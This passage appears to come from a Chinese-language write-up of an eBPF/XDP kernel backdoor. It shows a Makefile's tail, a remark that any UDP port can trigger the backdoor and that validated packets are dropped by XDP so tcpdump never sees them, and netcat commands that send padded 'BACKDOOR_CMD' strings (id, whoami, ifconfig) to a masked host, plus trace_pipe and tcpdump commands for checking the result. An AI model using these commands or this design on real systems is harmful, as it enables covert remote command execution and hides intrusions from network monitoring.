@echo "[+] Clean complete"

.PHONY: all clean generate vmlinux build help

可以看到任意端口都可以被激活,无需开放特定端口,成功执行命令。并且由于发送的Payload通过了多重信标验证,会触发XDP_DROP,导致tcpdump无法捕获到对应的请求。

1
2
3
4
5
6
7
8
9
10
# 执行命令
printf %-128s 'BACKDOOR_CMD id END' | nc -u xxx.xxx.xxx.xxx 53
printf %-128s 'BACKDOOR_CMD whoami END' | nc -u xxx.xxx.xxx.xxx 80
printf %-128s 'BACKDOOR_CMD ifconfig END' | nc -u xxx.xxx.xxx.xxx 54321

# 查看调试输出
sudo cat /sys/kernel/debug/tracing/trace_pipe

# tcpdump监听数据包
sudo tcpdump -i eth0 udp port 54321 -vvv -X